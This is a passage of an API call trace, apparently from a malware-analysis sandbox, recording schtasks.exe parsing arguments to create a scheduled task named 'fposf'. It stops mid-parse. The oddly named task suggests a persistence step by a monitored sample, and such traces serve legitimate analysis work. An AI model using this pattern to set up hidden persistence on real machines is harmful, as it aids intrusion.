0xff932afc [0086.770] _onexit (_Func=0xff932b58) returned 0xff932b58 [0086.770] _onexit (_Func=0xff932b80) returned 0xff932b80 [0086.770] _onexit (_Func=0xff932ba8) returned 0xff932ba8 [0086.770] _onexit (_Func=0xff932bd0) returned 0xff932bd0 [0086.770] _onexit (_Func=0xff932bf8) returned 0xff932bf8 [0086.770] _onexit (_Func=0xff932c20) returned 0xff932c20 [0086.771] _onexit (_Func=0xff932c48) returned 0xff932c48 [0086.771] _onexit (_Func=0xff932c70) returned 0xff932c70 [0086.771] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0086.771] WinSqmIsOptedIn () returned 0x0 [0086.771] GetProcessHeap () returned 0xe0000 [0086.771] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x18) returned 0xf7fa0 [0086.771] SetLastError (dwErrCode=0x0) [0086.772] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0086.772] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0086.772] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0086.772] VerifyVersionInfoW (in: lpVersionInformation=0xbf220, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0xbf220) returned 1 [0086.772] GetProcessHeap () returned 0xe0000 [0086.772] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x18) returned 0xfbb10 [0086.772] lstrlenW (lpString="") returned 0 [0086.772] GetProcessHeap () returned 0xe0000 [0086.772] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x2) returned 0xfbb30 [0086.772] GetProcessHeap () returned 0xe0000 [0086.772] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xf5a30 [0086.772] GetProcessHeap () returned 0xe0000 [0086.772] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x18) returned 0xfbb50 [0086.772] GetProcessHeap () returned 0xe0000 [0086.772] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xf5a60 [0086.772] GetProcessHeap () returned 0xe0000 [0086.772] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xf5a90 [0086.772] GetProcessHeap () returned 0xe0000 [0086.772] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xf5ac0 [0086.772] GetProcessHeap () returned 0xe0000 [0086.772] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xf5af0 [0086.772] GetProcessHeap () returned 0xe0000 [0086.772] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x18) returned 0xfbb70 [0086.772] GetProcessHeap () returned 0xe0000 [0086.772] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xf5b20 [0086.772] GetProcessHeap () returned 0xe0000 [0086.772] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xf5b50 [0086.772] GetProcessHeap () returned 0xe0000 [0086.773] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xf5b80 [0086.773] GetProcessHeap () returned 0xe0000 [0086.773] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xf5bb0 [0086.773] GetProcessHeap () returned 0xe0000 [0086.773] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x18) returned 0xfbb90 [0086.773] GetProcessHeap () returned 0xe0000 [0086.773] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xf5be0 [0086.773] GetProcessHeap () returned 0xe0000 [0086.773] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xf5c10 [0086.773] GetProcessHeap () returned 0xe0000 [0086.773] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xf5c40 [0086.773] GetProcessHeap () returned 0xe0000 [0086.773] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xf5c70 [0086.773] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0086.773] SetLastError (dwErrCode=0x0) [0086.773] GetProcessHeap () returned 0xe0000 [0086.773] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xf5ca0 [0086.773] GetProcessHeap () returned 0xe0000 [0086.773] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xf5cd0 [0086.773] GetProcessHeap () returned 0xe0000 [0086.773] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xf5d00 [0086.773] GetProcessHeap () returned 0xe0000 [0086.773] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xf5d30 [0086.773] GetProcessHeap () returned 0xe0000 [0086.773] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xf5d60 [0086.773] GetProcessHeap () returned 0xe0000 [0086.773] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x18) returned 0xfbbb0 [0086.773] _memicmp (_Buf1=0xfbbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.773] GetProcessHeap () returned 0xe0000 [0086.774] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x208) returned 0xfbd50 [0086.774] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xfbd50, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0086.774] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefccf0000 [0086.775] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefccf15fc [0086.775] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0086.777] GetProcessHeap () returned 0xe0000 [0086.777] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x74e) returned 0xfc320 [0086.777] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoW") returned 0x7fefccf1614 [0086.777] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0xfc320 | out: lpData=0xfc320) returned 1 [0086.777] GetProcAddress (hModule=0x7fefccf0000, lpProcName="VerQueryValueW") returned 0x7fefccf15e0 [0086.777] VerQueryValueW (in: pBlock=0xfc320, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xbf308, puLen=0xbf370 | out: lplpBuffer=0xbf308*=0xfc6bc, puLen=0xbf370) returned 1 [0086.781] _memicmp (_Buf1=0xfbbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.781] _vsnwprintf (in: _Buffer=0xfbd50, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xbf2e8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0086.781] VerQueryValueW (in: pBlock=0xfc320, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xbf378, puLen=0xbf368 | out: lplpBuffer=0xbf378*=0xfc4e8, puLen=0xbf368) returned 1 [0086.781] lstrlenW (lpString="schtasks.exe") returned 12 [0086.781] lstrlenW (lpString="schtasks.exe") returned 12 [0086.781] lstrlenW (lpString=".EXE") returned 4 [0086.781] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0086.782] lstrlenW (lpString="schtasks.exe") returned 12 [0086.782] lstrlenW (lpString=".EXE") returned 4 [0086.782] _memicmp (_Buf1=0xfbbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.782] lstrlenW (lpString="schtasks") returned 8 [0086.783] GetProcessHeap () returned 0xe0000 [0086.783] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xf5e50 [0086.783] GetProcessHeap () returned 0xe0000 [0086.783] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xfcc30 [0086.783] GetProcessHeap () returned 0xe0000 [0086.783] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xfcc60 [0086.783] GetProcessHeap () returned 0xe0000 [0086.783] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xfcc90 [0086.783] GetProcessHeap () returned 0xe0000 [0086.783] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x18) returned 0xfbbd0 [0086.783] _memicmp (_Buf1=0xfbbd0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.783] GetProcessHeap () returned 0xe0000 [0086.783] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0xa0) returned 0xfc150 [0086.783] GetProcessHeap () returned 0xe0000 [0086.783] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xfccc0 [0086.783] GetProcessHeap () returned 0xe0000 [0086.783] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xfccf0 [0086.783] GetProcessHeap () returned 0xe0000 [0086.784] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xfcd20 [0086.784] GetProcessHeap () returned 0xe0000 [0086.784] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x18) returned 0xfbbf0 [0086.784] _memicmp (_Buf1=0xfbbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.784] GetProcessHeap () returned 0xe0000 [0086.784] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x200) returned 0xfd400 [0086.784] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0xfd400, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0086.784] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0086.784] GetProcessHeap () returned 0xe0000 [0086.784] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x30) returned 0xf7bc0 [0086.784] _vsnwprintf (in: _Buffer=0xfc150, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xbf2e8 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0086.784] GetProcessHeap () returned 0xe0000 [0086.784] GetProcessHeap () returned 0xe0000 [0086.784] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc320) returned 1 [0086.784] GetProcessHeap () returned 0xe0000 [0086.784] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfc320) returned 0x74e [0086.785] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc320 | out: hHeap=0xe0000) returned 1 [0086.785] SetLastError (dwErrCode=0x0) [0086.785] GetThreadLocale () returned 0x409 [0086.785] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.785] lstrlenW (lpString="?") returned 1 [0086.785] GetThreadLocale () returned 0x409 [0086.785] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.785] lstrlenW (lpString="create") returned 6 [0086.786] GetThreadLocale () returned 0x409 [0086.786] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.786] lstrlenW (lpString="delete") returned 6 [0086.786] GetThreadLocale () returned 0x409 [0086.786] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.786] lstrlenW (lpString="query") returned 5 [0086.786] GetThreadLocale () returned 0x409 [0086.786] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.786] lstrlenW (lpString="change") returned 6 [0086.786] GetThreadLocale () returned 0x409 [0086.786] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.786] lstrlenW (lpString="run") returned 3 [0086.786] GetThreadLocale () returned 0x409 [0086.786] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.786] lstrlenW (lpString="end") returned 3 [0086.786] GetThreadLocale () returned 0x409 [0086.786] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.786] lstrlenW (lpString="showsid") returned 7 [0086.786] GetThreadLocale () returned 0x409 [0086.786] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.786] SetLastError (dwErrCode=0x0) [0086.786] SetLastError (dwErrCode=0x0) [0086.786] lstrlenW (lpString="/create") returned 7 [0086.786] lstrlenW (lpString="-/") returned 2 [0086.786] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0086.786] lstrlenW (lpString="?") returned 1 [0086.786] lstrlenW (lpString="?") returned 1 [0086.786] GetProcessHeap () returned 0xe0000 [0086.786] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x18) returned 0xfc200 [0086.787] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.787] GetProcessHeap () returned 0xe0000 [0086.787] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0xa) returned 0xfc320 [0086.787] lstrlenW (lpString="create") returned 6 [0086.787] GetProcessHeap () returned 0xe0000 [0086.787] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x18) returned 0xfc340 [0086.787] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.787] GetProcessHeap () returned 0xe0000 [0086.787] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x14) returned 0xfc360 [0086.787] _vsnwprintf (in: _Buffer=0xfc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|?|") returned 3 [0086.787] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|create|") returned 8 [0086.787] lstrlenW (lpString="|?|") returned 3 [0086.787] lstrlenW (lpString="|create|") returned 8 [0086.787] SetLastError (dwErrCode=0x490) [0086.787] lstrlenW (lpString="create") returned 6 [0086.787] lstrlenW (lpString="create") returned 6 [0086.787] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.787] GetProcessHeap () returned 0xe0000 [0086.787] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc320) returned 1 [0086.787] GetProcessHeap () returned 0xe0000 [0086.787] RtlReAllocateHeap (Heap=0xe0000, Flags=0xc, Ptr=0xfc320, Size=0x14) returned 0xfc380 [0086.787] lstrlenW (lpString="create") returned 6 [0086.787] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.787] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|create|") returned 8 [0086.787] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|create|") returned 8 [0086.787] lstrlenW (lpString="|create|") returned 8 [0086.787] lstrlenW (lpString="|create|") returned 8 [0086.787] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0086.788] SetLastError (dwErrCode=0x0) [0086.788] SetLastError (dwErrCode=0x0) [0086.788] SetLastError (dwErrCode=0x0) [0086.788] lstrlenW (lpString="/tn") returned 3 [0086.788] lstrlenW (lpString="-/") returned 2 [0086.788] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0086.788] lstrlenW (lpString="?") returned 1 [0086.788] lstrlenW (lpString="?") returned 1 [0086.788] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.788] lstrlenW (lpString="tn") returned 2 [0086.788] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.788] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|?|") returned 3 [0086.788] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|tn|") returned 4 [0086.788] lstrlenW (lpString="|?|") returned 3 [0086.788] lstrlenW (lpString="|tn|") returned 4 [0086.788] SetLastError (dwErrCode=0x490) [0086.788] lstrlenW (lpString="create") returned 6 [0086.788] lstrlenW (lpString="create") returned 6 [0086.788] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.788] lstrlenW (lpString="tn") returned 2 [0086.788] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.788] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|create|") returned 8 [0086.788] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|tn|") returned 4 [0086.788] lstrlenW (lpString="|create|") returned 8 [0086.788] lstrlenW (lpString="|tn|") returned 4 [0086.788] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0086.788] SetLastError (dwErrCode=0x490) [0086.789] lstrlenW (lpString="delete") returned 6 [0086.789] lstrlenW (lpString="delete") returned 6 [0086.789] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.789] lstrlenW (lpString="tn") returned 2 [0086.789] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.789] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|delete|") returned 8 [0086.789] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|tn|") returned 4 [0086.789] lstrlenW (lpString="|delete|") returned 8 [0086.789] lstrlenW (lpString="|tn|") returned 4 [0086.789] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0086.789] SetLastError (dwErrCode=0x490) [0086.789] lstrlenW (lpString="query") returned 5 [0086.789] lstrlenW (lpString="query") returned 5 [0086.789] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.789] lstrlenW (lpString="tn") returned 2 [0086.789] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.789] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x8, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|query|") returned 7 [0086.789] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|tn|") returned 4 [0086.789] lstrlenW (lpString="|query|") returned 7 [0086.789] lstrlenW (lpString="|tn|") returned 4 [0086.789] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0086.789] SetLastError (dwErrCode=0x490) [0086.789] lstrlenW (lpString="change") returned 6 [0086.789] lstrlenW (lpString="change") returned 6 [0086.789] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.789] lstrlenW (lpString="tn") returned 2 [0086.789] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.790] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|change|") returned 8 [0086.790] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|tn|") returned 4 [0086.790] lstrlenW (lpString="|change|") returned 8 [0086.790] lstrlenW (lpString="|tn|") returned 4 [0086.790] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0086.790] SetLastError (dwErrCode=0x490) [0086.790] lstrlenW (lpString="run") returned 3 [0086.790] lstrlenW (lpString="run") returned 3 [0086.790] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.790] lstrlenW (lpString="tn") returned 2 [0086.790] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.790] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|run|") returned 5 [0086.790] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|tn|") returned 4 [0086.790] lstrlenW (lpString="|run|") returned 5 [0086.790] lstrlenW (lpString="|tn|") returned 4 [0086.790] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0086.790] SetLastError (dwErrCode=0x490) [0086.790] lstrlenW (lpString="end") returned 3 [0086.790] lstrlenW (lpString="end") returned 3 [0086.790] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.790] lstrlenW (lpString="tn") returned 2 [0086.790] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.791] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|end|") returned 5 [0086.791] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|tn|") returned 4 [0086.791] lstrlenW (lpString="|end|") returned 5 [0086.791] lstrlenW (lpString="|tn|") returned 4 [0086.791] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0086.791] SetLastError (dwErrCode=0x490) [0086.791] lstrlenW (lpString="showsid") returned 7 [0086.791] lstrlenW (lpString="showsid") returned 7 [0086.791] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.791] GetProcessHeap () returned 0xe0000 [0086.791] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc380) returned 1 [0086.791] GetProcessHeap () returned 0xe0000 [0086.791] RtlReAllocateHeap (Heap=0xe0000, Flags=0xc, Ptr=0xfc380, Size=0x16) returned 0xfc380 [0086.791] lstrlenW (lpString="tn") returned 2 [0086.791] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.791] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0xa, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|showsid|") returned 9 [0086.791] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|tn|") returned 4 [0086.791] lstrlenW (lpString="|showsid|") returned 9 [0086.791] lstrlenW (lpString="|tn|") returned 4 [0086.791] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0086.791] SetLastError (dwErrCode=0x490) [0086.791] SetLastError (dwErrCode=0x490) [0086.791] SetLastError (dwErrCode=0x0) [0086.791] lstrlenW (lpString="/tn") returned 3 [0086.791] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0086.792] SetLastError (dwErrCode=0x490) [0086.792] SetLastError (dwErrCode=0x0) [0086.792] lstrlenW (lpString="/tn") returned 3 [0086.792] GetProcessHeap () returned 0xe0000 [0086.792] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x8) returned 0xfc320 [0086.792] GetProcessHeap () returned 0xe0000 [0086.792] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xfcd50 [0086.792] SetLastError (dwErrCode=0x0) [0086.792] SetLastError (dwErrCode=0x0) [0086.792] lstrlenW (lpString="fposf") returned 5 [0086.792] lstrlenW (lpString="-/") returned 2 [0086.792] StrChrIW (lpStart="-/", wMatch=0x66) returned 0x0 [0086.792] SetLastError (dwErrCode=0x490) [0086.792] SetLastError (dwErrCode=0x490) [0086.792] SetLastError (dwErrCode=0x0) [0086.792] lstrlenW (lpString="fposf") returned 5 [0086.792] StrChrIW (lpStart="fposf", wMatch=0x3a) returned 0x0 [0086.792] SetLastError (dwErrCode=0x490) [0086.792] SetLastError (dwErrCode=0x0) [0086.792] lstrlenW (lpString="fposf") returned 5 [0086.792] GetProcessHeap () returned 0xe0000 [0086.792] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0xc) returned 0xfc3b0 [0086.792] GetProcessHeap () returned 0xe0000 [0086.792] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xfcd80 [0086.792] SetLastError (dwErrCode=0x0) [0086.792] SetLastError (dwErrCode=0x0) [0086.792] lstrlenW (lpString="/sc") returned 3 [0086.792] lstrlenW (lpString="-/") returned 2 [0086.792] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0086.793] lstrlenW (lpString="?") returned 1 [0086.793] lstrlenW (lpString="?") returned 1 [0086.793] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.793] lstrlenW (lpString="sc") returned 2 [0086.793] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.793] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|?|") returned 3 [0086.793] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|sc|") returned 4 [0086.793] lstrlenW (lpString="|?|") returned 3 [0086.793] lstrlenW (lpString="|sc|") returned 4 [0086.793] SetLastError (dwErrCode=0x490) [0086.793] lstrlenW (lpString="create") returned 6 [0086.793] lstrlenW (lpString="create") returned 6 [0086.793] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.793] lstrlenW (lpString="sc") returned 2 [0086.793] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.793] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|create|") returned 8 [0086.793] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|sc|") returned 4 [0086.793] lstrlenW (lpString="|create|") returned 8 [0086.793] lstrlenW (lpString="|sc|") returned 4 [0086.793] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0086.793] SetLastError (dwErrCode=0x490) [0086.793] lstrlenW (lpString="delete") returned 6 [0086.793] lstrlenW (lpString="delete") returned 6 [0086.793] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.793] lstrlenW (lpString="sc") returned 2 [0086.793] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.794] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|delete|") returned 8 [0086.794] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|sc|") returned 4 [0086.794] lstrlenW (lpString="|delete|") returned 8 [0086.794] lstrlenW (lpString="|sc|") returned 4 [0086.794] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0086.794] SetLastError (dwErrCode=0x490) [0086.794] lstrlenW (lpString="query") returned 5 [0086.794] lstrlenW (lpString="query") returned 5 [0086.794] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.794] lstrlenW (lpString="sc") returned 2 [0086.794] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.794] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x8, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|query|") returned 7 [0086.794] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|sc|") returned 4 [0086.794] lstrlenW (lpString="|query|") returned 7 [0086.794] lstrlenW (lpString="|sc|") returned 4 [0086.794] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0086.794] SetLastError (dwErrCode=0x490) [0086.794] lstrlenW (lpString="change") returned 6 [0086.794] lstrlenW (lpString="change") returned 6 [0086.794] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 